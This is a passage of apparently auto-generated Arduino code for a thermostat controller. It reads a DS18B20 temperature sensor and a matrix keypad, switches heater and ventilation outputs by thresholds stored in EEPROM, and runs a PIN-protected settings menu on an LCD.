\_MainMenus[0].isSwitchMenuAroundRing = 0;
\_MainMenus[0].stopIndex = 1;
\_MainMenus[0].currentItem = \_MenuItems[0];
\_MainMenus[1].tempString = "";
\_MainMenus[1].startIndex = 2;
\_MainMenus[1].isSwitchMenuAroundRing = 1;
\_MainMenus[1].stopIndex = 5;
\_MainMenus[1].currentItem = \_MenuItems[1];
\_menuValueArray\_long[1] = (EEPROM.readLong(2));
\_menuValueArray\_int[0] = (EEPROM.readInt(6));
\_menuValueArray\_bool[0] = (EEPROM.readBit(1, 0));
\_menuValueArray\_int[1] = (EEPROM.readInt(8));
\_menuValueArray\_int[2] = (EEPROM.readInt(10));
\_menuValueArray\_int[3] = (EEPROM.readInt(12));
}
void loop()
{ bool \_tempVariable\_bool;
byte \_tempVariable\_byte;
if (\_isNeedClearDisp2) {
\_lcd2.clear();
\_isNeedClearDisp2 = 0;
}
if (1) {
if (\_trgrt2I) {
\_trgrt2 = 0;
} else {
\_trgrt2 = 1;
\_trgrt2I = 1;
}
} else {
\_trgrt2 = 0;
\_trgrt2I = 0;
};
if (\_isTimer(\_d18x2x1Tti, 1000)) {
\_d18x2x1Tti = millis();
\_d18x2x1O = \_readDS18\_ow12(\_FLPArray27618413, \_FLPArray27618413[8]);
}
if (\_sowb1\_needScan) {
if ( \_oneWireSeach (\_FLPArray27618413, \_ow12)) {
\_sowb1\_FLPArray27618413 = 1;
}
\_ow12.reset\_search();
\_sowb1\_needScan = 0;
}
if (\_trgrt2) {
if (! \_sowb1\_ost) {
\_sowb1\_ost = 1;
\_sowb1\_needScan = 1;
\_sowb1\_FLPArray27618413 = 0;
}
} else {
\_sowb1\_ost = 0;
}
\_gtv11 = (\_d18x2x1O);
digitalWrite(2, 0);
\_mkb1C1xP1 = ! (digitalRead(6));
\_mkb1C1xP2 = ! (digitalRead(7));
\_mkb1C1xP3 = ! (digitalRead(8));
\_mkb1C1xP4 = ! (digitalRead(9));
digitalWrite(2, 1);
digitalWrite(3, 0);
\_mkb1C2xP1 = ! (digitalRead(6));
\_mkb1C2xP2 = ! (digitalRead(7));
\_mkb1C2xP3 = ! (digitalRead(8));
\_mkb1C2xP4 = ! (digitalRead(9));
digitalWrite(3, 1);
digitalWrite(4, 0);
\_mkb1C3xP1 = ! (digitalRead(6));
\_mkb1C3xP2 = ! (digitalRead(7));
\_mkb1C3xP3 = ! (digitalRead(8));
\_mkb1C3xP4 = ! (digitalRead(9));
digitalWrite(4, 1);
digitalWrite(5, 0);
\_mkb1C4xP1 = ! (digitalRead(6));
\_mkb1C4xP2 = ! (digitalRead(7));
\_mkb1C4xP3 = ! (digitalRead(8));
\_mkb1C4xP4 = ! (digitalRead(9));
digitalWrite(5, 1);
\_gtv1 = \_mkb1C1xP1;
\_gtv2 = \_mkb1C1xP2;
\_gtv3 = \_mkb1C1xP3;
\_gtv18 = \_mkb1C1xP4;
\_gtv4 = \_mkb1C2xP1;
\_gtv5 = \_mkb1C2xP2;
\_gtv13 = \_mkb1C2xP3;
\_gtv19 = \_mkb1C2xP4;
\_gtv14 = \_mkb1C3xP1;
\_gtv15 = \_mkb1C3xP2;
\_gtv16 = \_mkb1C3xP3;
\_gtv20 = \_mkb1C3xP4;
\_gtv23 = \_mkb1C4xP1;
\_gtv17 = \_mkb1C4xP2;
\_gtv22 = \_mkb1C4xP3;
\_gtv21 = \_mkb1C4xP4;
bool \_tmp1 = \_gtv23;
if (\_tmp1) {
if (! \_trgt1I) \_trgt1 = ! \_trgt1;
}
\_trgt1I = \_tmp1;
\_gtv6 = \_trgt1;
if (\_gtv7) {
\_tempVariable\_bool = 1;
if ( ! \_MenuBlock\_360159546\_OEIS ) {
\_MenuBlock\_360159546\_OEIS = 1;
(\_MainMenus[0]).tempString = "";
}
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[0].currentItem ).startInArrayIndex) + 10]);
\_MenuBlock\_360159546\_MNO = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
\_MenuBlock\_360159546\_VNO = \_menuOutputValueString (0);
} else {
\_tempVariable\_bool = 0;
if (\_MenuBlock\_360159546\_OEIS) {
\_MenuBlock\_360159546\_OEIS = 0;
\_menuUpdateToEEpromItems();
}
\_MenuBlock\_360159546\_MNO = "";
\_MenuBlock\_360159546\_VNO = "";
}
if (0) {
if ( ! \_MenuBlock\_360159546\_OMUIS) {
\_MenuBlock\_360159546\_OMUIS = 1; if (\_tempVariable\_bool) {
\_menuUpEvents(0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_360159546\_OMUIS = 0;
}
if (0) {
if ( ! \_MenuBlock\_360159546\_OMDIS) {
\_MenuBlock\_360159546\_OMDIS = 1; if (\_tempVariable\_bool) {
\_menuDownEvents(0);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_360159546\_OMDIS = 0;
}
if (0) {
if ( ! \_MenuBlock\_360159546\_OVUIS) {
\_MenuBlock\_360159546\_OVUIS = 1;
if (\_tempVariable\_bool) {
\_valueUpEvents(0);
}
}
} else {
\_MenuBlock\_360159546\_OVUIS = 0;
}
if (0) {
if ( ! \_MenuBlock\_360159546\_OVDIS) {
\_MenuBlock\_360159546\_OVDIS = 1;
if (\_tempVariable\_bool) {
\_valueDownEvents(0);
}
}
} else {
\_MenuBlock\_360159546\_OVDIS = 0;
}
if (\_gtv17) {
if ( ! \_MenuBlock\_360159546\_IDI\_0) {
\_MenuBlock\_360159546\_IDI\_0 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '0');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_0 = 0;
}
if (\_gtv1) {
if ( ! \_MenuBlock\_360159546\_IDI\_1) {
\_MenuBlock\_360159546\_IDI\_1 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '1');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_1 = 0;
}
if (\_gtv2) {
if ( ! \_MenuBlock\_360159546\_IDI\_2) {
\_MenuBlock\_360159546\_IDI\_2 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '2');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_2 = 0;
}
if (\_gtv3) {
if ( ! \_MenuBlock\_360159546\_IDI\_3) {
\_MenuBlock\_360159546\_IDI\_3 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '3');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_3 = 0;
}
if (\_gtv4) {
if ( ! \_MenuBlock\_360159546\_IDI\_4) {
\_MenuBlock\_360159546\_IDI\_4 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '4');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_4 = 0;
}
if (\_gtv5) {
if ( ! \_MenuBlock\_360159546\_IDI\_5) {
\_MenuBlock\_360159546\_IDI\_5 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '5');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_5 = 0;
}
if (\_gtv13) {
if ( ! \_MenuBlock\_360159546\_IDI\_6) {
\_MenuBlock\_360159546\_IDI\_6 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '6');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_6 = 0;
}
if (\_gtv14) {
if ( ! \_MenuBlock\_360159546\_IDI\_7) {
\_MenuBlock\_360159546\_IDI\_7 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '7');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_7 = 0;
}
if (\_gtv15) {
if ( ! \_MenuBlock\_360159546\_IDI\_8) {
\_MenuBlock\_360159546\_IDI\_8 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '8');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_8 = 0;
}
if (\_gtv16) {
if ( ! \_MenuBlock\_360159546\_IDI\_9) {
\_MenuBlock\_360159546\_IDI\_9 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(0, '9');
}
}
} else {
\_MenuBlock\_360159546\_IDI\_9 = 0;
}
if (\_gtv7) {
\_dispTempLength2 = ((\_MenuBlock\_360159546\_MNO)).length();
if (\_disp6oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp6oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 0);
\_lcd2.print((\_MenuBlock\_360159546\_MNO));
} else {
if (\_disp6oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp6oldLength = 0;
}
}
if (\_gtv7) {
\_dispTempLength2 = ((\_MenuBlock\_360159546\_VNO)).length();
if (\_disp7oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp7oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 1);
\_lcd2.print((\_MenuBlock\_360159546\_VNO));
} else {
if (\_disp7oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp7oldLength = 0;
}
}
if (\_trgrt1) \_trgr1 = 0;
if (((\_menuValueArray\_long[0])) == ((\_menuValueArray\_long[1]))) \_trgr1 = 1;
if (!(\_gtv6)) {
if (\_trgrt1I) {
\_trgrt1 = 0;
} else {
\_trgrt1 = 1;
\_trgrt1I = 1;
}
} else {
\_trgrt1 = 0;
\_trgrt1I = 0;
};
\_gtv7 = ( (\_gtv6) && (!(\_trgr1)) );
\_gtv8 = ( (\_trgr1) && (\_gtv6) );
if (\_trgrt1) {
\_menuValueArray\_long[0] = 0L;
}
if (\_gtv8) {
\_tempVariable\_bool = 1;
if ( ! \_MenuBlock\_47814740\_OEIS ) {
\_MenuBlock\_47814740\_OEIS = 1;
\_MainMenus[1].currentItem = \_MenuItems[1];
(\_MainMenus[1]).tempString = "";
}
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[1].currentItem ).startInArrayIndex) + 10]);
\_MenuBlock\_47814740\_MNO = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
\_MenuBlock\_47814740\_VNO = \_menuOutputValueString (1);
\_tempVariable\_byte = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[1]).currentItem).startInArrayIndex) + 12]);
if (\_tempVariable\_byte == 0 ) {
\_MenuBlock\_47814740\_ASO\_1 = "";
} else {
\_MenuBlock\_47814740\_ASO\_1 = \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[\_tempVariable\_byte - 1])));
}
} else {
\_tempVariable\_bool = 0;
if (\_MenuBlock\_47814740\_OEIS) {
\_MenuBlock\_47814740\_OEIS = 0;
\_menuUpdateToEEpromItems();
}
\_MenuBlock\_47814740\_ASO\_1 = "";
\_MenuBlock\_47814740\_MNO = "";
\_MenuBlock\_47814740\_VNO = "";
}
if (\_gtv20) {
if ( ! \_MenuBlock\_47814740\_OMUIS) {
\_MenuBlock\_47814740\_OMUIS = 1; if (\_tempVariable\_bool) {
\_menuUpEvents(1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMUIS = 0;
}
if (\_gtv21) {
if ( ! \_MenuBlock\_47814740\_OMDIS) {
\_MenuBlock\_47814740\_OMDIS = 1; if (\_tempVariable\_bool) {
\_menuDownEvents(1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OMDIS = 0;
}
if (\_gtv18) {
if ( ! \_MenuBlock\_47814740\_OEMIS) {
\_MenuBlock\_47814740\_OEMIS = 1; if (\_tempVariable\_bool) {
\_menuEnterTheMenuEvents (1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OEMIS = 0;
}
if (\_gtv19) {
if ( ! \_MenuBlock\_47814740\_OExFMIS) {
\_MenuBlock\_47814740\_OExFMIS = 1; if (\_tempVariable\_bool) {
\_menuExitFromMenuEvents (1);
\_menuUpdateToEEpromItems();
}
}
} else {
\_MenuBlock\_47814740\_OExFMIS = 0;
}
if (0) {
if ( ! \_MenuBlock\_47814740\_OVUIS) {
\_MenuBlock\_47814740\_OVUIS = 1;
if (\_tempVariable\_bool) {
\_valueUpEvents(1);
\_MenuBlock\_47814740\_VUDST = millis();
}
} if (\_tempVariable\_bool) {
if (\_MenuBlock\_47814740\_VUDSM == 0) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 2000 )) {
\_MenuBlock\_47814740\_VUDSM = 1;
\_MenuBlock\_47814740\_VUDSPT = millis();
\_MenuBlock\_47814740\_VUDPT = 500;
}
} else {
if (\_MenuBlock\_47814740\_VUDSM == 1) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 4000 )) {
\_MenuBlock\_47814740\_VUDSM = 2;
\_MenuBlock\_47814740\_VUDPT = 200;
}
} if (\_isTimer(\_MenuBlock\_47814740\_VUDSPT , \_MenuBlock\_47814740\_VUDPT )) {
\_valueUpEvents(1);
\_MenuBlock\_47814740\_VUDSPT = millis();
}
}
}
} else {
\_MenuBlock\_47814740\_OVUIS = 0;
if ( ! ( 0)) {
\_MenuBlock\_47814740\_VUDSM = 0;
}
}
if (0) {
if ( ! \_MenuBlock\_47814740\_OVDIS) {
\_MenuBlock\_47814740\_OVDIS = 1;
if (\_tempVariable\_bool) {
\_valueDownEvents(1);
\_MenuBlock\_47814740\_VUDST = millis();
}
} if (\_tempVariable\_bool) {
if (\_MenuBlock\_47814740\_VUDSM == 0) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 2000 )) {
\_MenuBlock\_47814740\_VUDSM = 1;
\_MenuBlock\_47814740\_VUDSPT = millis();
\_MenuBlock\_47814740\_VUDPT = 500;
}
} else {
if (\_MenuBlock\_47814740\_VUDSM == 1) {
if (\_isTimer(\_MenuBlock\_47814740\_VUDST , 4000 )) {
\_MenuBlock\_47814740\_VUDSM = 2;
\_MenuBlock\_47814740\_VUDPT = 200;
}
} if (\_isTimer(\_MenuBlock\_47814740\_VUDSPT , \_MenuBlock\_47814740\_VUDPT )) {
\_valueDownEvents(1);
\_MenuBlock\_47814740\_VUDSPT = millis();
}
}
}
} else {
\_MenuBlock\_47814740\_OVDIS = 0;
if ( ! ( 0)) {
\_MenuBlock\_47814740\_VUDSM = 0;
}
}
if (\_gtv17) {
if ( ! \_MenuBlock\_47814740\_IDI\_0) {
\_MenuBlock\_47814740\_IDI\_0 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '0');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_0 = 0;
}
if (\_gtv1) {
if ( ! \_MenuBlock\_47814740\_IDI\_1) {
\_MenuBlock\_47814740\_IDI\_1 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '1');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_1 = 0;
}
if (\_gtv2) {
if ( ! \_MenuBlock\_47814740\_IDI\_2) {
\_MenuBlock\_47814740\_IDI\_2 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '2');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_2 = 0;
}
if (\_gtv3) {
if ( ! \_MenuBlock\_47814740\_IDI\_3) {
\_MenuBlock\_47814740\_IDI\_3 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '3');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_3 = 0;
}
if (\_gtv4) {
if ( ! \_MenuBlock\_47814740\_IDI\_4) {
\_MenuBlock\_47814740\_IDI\_4 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '4');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_4 = 0;
}
if (\_gtv5) {
if ( ! \_MenuBlock\_47814740\_IDI\_5) {
\_MenuBlock\_47814740\_IDI\_5 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '5');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_5 = 0;
}
if (\_gtv13) {
if ( ! \_MenuBlock\_47814740\_IDI\_6) {
\_MenuBlock\_47814740\_IDI\_6 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '6');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_6 = 0;
}
if (\_gtv14) {
if ( ! \_MenuBlock\_47814740\_IDI\_7) {
\_MenuBlock\_47814740\_IDI\_7 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '7');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_7 = 0;
}
if (\_gtv15) {
if ( ! \_MenuBlock\_47814740\_IDI\_8) {
\_MenuBlock\_47814740\_IDI\_8 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '8');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_8 = 0;
}
if (\_gtv16) {
if ( ! \_MenuBlock\_47814740\_IDI\_9) {
\_MenuBlock\_47814740\_IDI\_9 = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '9');
}
}
} else {
\_MenuBlock\_47814740\_IDI\_9 = 0;
}
if (\_gtv22) {
if ( ! \_MenuBlock\_47814740MinusIOS) {
\_MenuBlock\_47814740MinusIOS = 1;
if (\_tempVariable\_bool) {
\_menuDirectInputKeyPressEvents(1, '-' );
}
}
} else {
\_MenuBlock\_47814740MinusIOS = 0;
}
if (\_gtv8) {
\_dispTempLength2 = ((\_MenuBlock\_47814740\_MNO)).length();
if (\_disp2oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp2oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 0);
\_lcd2.print((\_MenuBlock\_47814740\_MNO));
} else {
if (\_disp2oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp2oldLength = 0;
}
}
if (\_gtv8) {
\_dispTempLength2 = ((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1)))).length();
if (\_disp1oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp1oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 1);
\_lcd2.print((((\_MenuBlock\_47814740\_VNO) + (String(" ")) + (\_MenuBlock\_47814740\_ASO\_1))));
} else {
if (\_disp1oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp1oldLength = 0;
}
}
if ((\_gtv11) > (Menu\_Value\_2\_TVD)) \_trgr3 = 0;
if ((\_gtv11) < (Menu\_Value\_1\_TVD)) \_trgr3 = 1;
digitalWrite(16, !(\_trgr3));
if (!(\_gtv6)) {
Menu\_Value\_1\_TVD = \_menuValueArray\_int[3];
}
\_gtv10 = \_trgr3;
if (!(\_gtv6)) {
Menu\_Value\_2\_TVD = \_menuValueArray\_int[1];
}
if ((\_gtv11) < (Menu\_Value\_4\_TVD)) \_trgr4 = 0;
if ((\_gtv11) > (Menu\_Value\_3\_TVD)) \_trgr4 = 1;
if (!(\_gtv6)) {
Menu\_Value\_3\_TVD = \_menuValueArray\_int[2];
}
digitalWrite(15, !(\_trgr4));
\_gtv12 = \_trgr4;
if (!(\_gtv6)) {
Menu\_Value\_4\_TVD = \_menuValueArray\_int[0];
}
digitalWrite(17, ( (( (\_gtv12) || (\_gtv10) )) && ((\_menuValueArray\_bool[0])) ));
if (\_gtv10)
{
\_swi1 = String("Heater - ON");
}
else
{
\_swi1 = String("Heater - OFF");
}
if (\_gtv12)
{
\_swi2 = String("Ventilation - ON");
}
else
{
\_swi2 = String("Ventilation - OFF");
}
if (!(\_gtv6)) {
\_dispTempLength2 = ((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C"))))).length();
if (\_disp3oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp3oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 0);
\_lcd2.print((((String("Temp - ")) + (( \_floatToStringWitRaz(\_gtv11, 2))) + (String(" C")))));
} else {
if (\_disp3oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp3oldLength = 0;
}
}
if (!(\_gtv6)) {
\_dispTempLength2 = ((\_swi1)).length();
if (\_disp4oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp4oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 1);
\_lcd2.print((\_swi1));
} else {
if (\_disp4oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp4oldLength = 0;
}
}
if (!(\_gtv6)) {
\_dispTempLength2 = ((\_swi2)).length();
if (\_disp5oldLength > \_dispTempLength2) {
\_isNeedClearDisp2 = 1;
}
\_disp5oldLength = \_dispTempLength2;
\_lcd2.setCursor(int((20 - \_dispTempLength2) / 2), 2);
\_lcd2.print((\_swi2));
} else {
if (\_disp5oldLength > 0) {
\_isNeedClearDisp2 = 1;
\_disp5oldLength = 0;
}
}
}
String \_floatToStringWitRaz(float value, int raz)
{
return String(value, raz);
}
bool \_isTimer(unsigned long startTime, unsigned long period )
{
unsigned long currentTime;
currentTime = millis();
if (currentTime >= startTime) {
return (currentTime >= (startTime + period));
} else {
return (currentTime >= (4294967295 - startTime + period));
}
}
void \_menuUpEvents (byte menuIndex)
{
(\_MainMenus[menuIndex]).tempString = "";
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStartIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStopIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex - 2];
return;
}
void \_menuDownEvents (byte menuIndex)
{
(\_MainMenus[menuIndex]).tempString = "";
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
byte parentStartIndex;
byte parentStopIndex;
if (parIndex == 0) {
parentStartIndex = (\_MainMenus[menuIndex]).startIndex;
parentStopIndex = (\_MainMenus[menuIndex]).stopIndex;
}
else {
parentStartIndex = pgm\_read\_byte(&\_menuParametrsArray[( (\_MenuItems[parIndex - 1]).startInArrayIndex) + 3]);
parentStopIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[parIndex - 1]).startInArrayIndex) + 4]);
}
if (tempIndex == parentStopIndex) {
if ((\_MainMenus[menuIndex]).isSwitchMenuAroundRing) {
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parentStartIndex - 1];
return;
} else {
return;
}
}
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[tempIndex];
return;
}
void \_valueUpEvents (byte menuIndex)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte indexMax = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 6]);
byte indexStep = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 8]);
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1 ] = 1;
return;
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = \_menuValueArray\_int[valIndex - 1] + (pgm\_read\_word(&\_menuConstantValuesArray\_int[indexStep - 1]));
}
if (itemType == 5) {
\_menuValueArray\_long[valIndex - 1] = \_menuValueArray\_long[valIndex - 1] + (pgm\_read\_dword(&\_menuConstantValuesArray\_long[indexStep - 1]));
}
}
void \_valueDownEvents (byte menuIndex)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte indexMin = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 7]);
byte indexStep = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 8]);
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1] = 0;
return;
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = \_menuValueArray\_int[valIndex - 1] - (pgm\_read\_word(&\_menuConstantValuesArray\_int[indexStep - 1]));
}
if (itemType == 5) {
\_menuValueArray\_long[valIndex - 1] = \_menuValueArray\_long[valIndex - 1] - (pgm\_read\_dword(&\_menuConstantValuesArray\_long[indexStep - 1]));
}
}
void \_menuEnterTheMenuEvents (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
if (!(itemType == 0)) {
return;
}
byte tempIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MainMenus[menuIndex]).currentItem).startInArrayIndex]);
byte newIndex = pgm\_read\_byte(&\_menuParametrsArray[((\_MenuItems[tempIndex - 1]).startInArrayIndex) + 3]);
if (newIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).tempString = "";
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[newIndex - 1];
return;
}
void \_menuExitFromMenuEvents (byte menuIndex)
{
byte parIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 5]);
if (parIndex == 0) {
return;
}
(\_MainMenus[menuIndex]).tempString = "";
(\_MainMenus[menuIndex]).currentItem = \_MenuItems[parIndex - 1];
return;
}
String \_menuOutputValueString (byte menuIndex)
{
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[ (((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
byte valueStrIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 11]);
if (itemType == 0) {
if ( valueStrIndex == 0) {
return "";
} else {
return \_readStringFromProgmem ((char\*)pgm\_read\_word(&(\_flprogMenuStringsArray[valueStrIndex - 1])));
}
}
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte indexMin = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 7]);
byte indexMax = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 6]);
if ( valIndex == 0) {
return "";
}
byte convFormat = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 9]);
if (itemType == 3) {
return \_convertBoolean(itemType, convFormat, valIndex, indexMax, indexMin);
}
if (itemType == 4) {
return \_convertNamber(itemType, convFormat, valIndex, indexMax, indexMin);
}
if (itemType == 5) {
return \_convertNamber(itemType, convFormat, valIndex, indexMax, indexMin);
}
return "";
}
void \_menuDirectInputKeyPressEvents(byte menuIndex, char inputSymbol)
{
byte valIndex = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 2]);
byte temp;
if (valIndex == 0) {
return;
}
byte itemType = pgm\_read\_byte(&\_menuParametrsArray[(((\_MainMenus[menuIndex]).currentItem).startInArrayIndex) + 1]);
if (itemType == 7) {
return;
}
if (itemType == 3) {
(\_MainMenus[menuIndex]).tempString = "";
}
if (inputSymbol == '-') {
temp = ((\_MainMenus[menuIndex]).tempString).length() ; if (temp == 0) {
(\_MainMenus[menuIndex]).tempString = "-";
} else
{ if (((\_MainMenus[menuIndex]).tempString).charAt(0) == '-') {
(\_MainMenus[menuIndex]).tempString = ((\_MainMenus[menuIndex]).tempString).substring(1);
} else
{
(\_MainMenus[menuIndex]).tempString = "-" + (\_MainMenus[menuIndex]).tempString;
}
}
} else {
(\_MainMenus[menuIndex]).tempString = (\_MainMenus[menuIndex]).tempString + inputSymbol;
}
if (itemType == 3) {
\_menuValueArray\_bool[valIndex - 1] = ((((\_MainMenus[menuIndex]).tempString )).toInt());
}
if (itemType == 4) {
\_menuValueArray\_int[valIndex - 1] = (((\_MainMenus[menuIndex]).tempString )).toInt();
}
if (itemType == 5) {
\_menuValueArray\_long[valIndex - 1] = (((\_MainMenus[menuIndex]).tempString ).toInt());
}
}
void \_menuUpdateToEEpromItems()
{
EEPROM.updateLong(2, (\_menuValueArray\_long[1]));
EEPROM.updateInt(6, (\_menuValueArray\_int[0]));
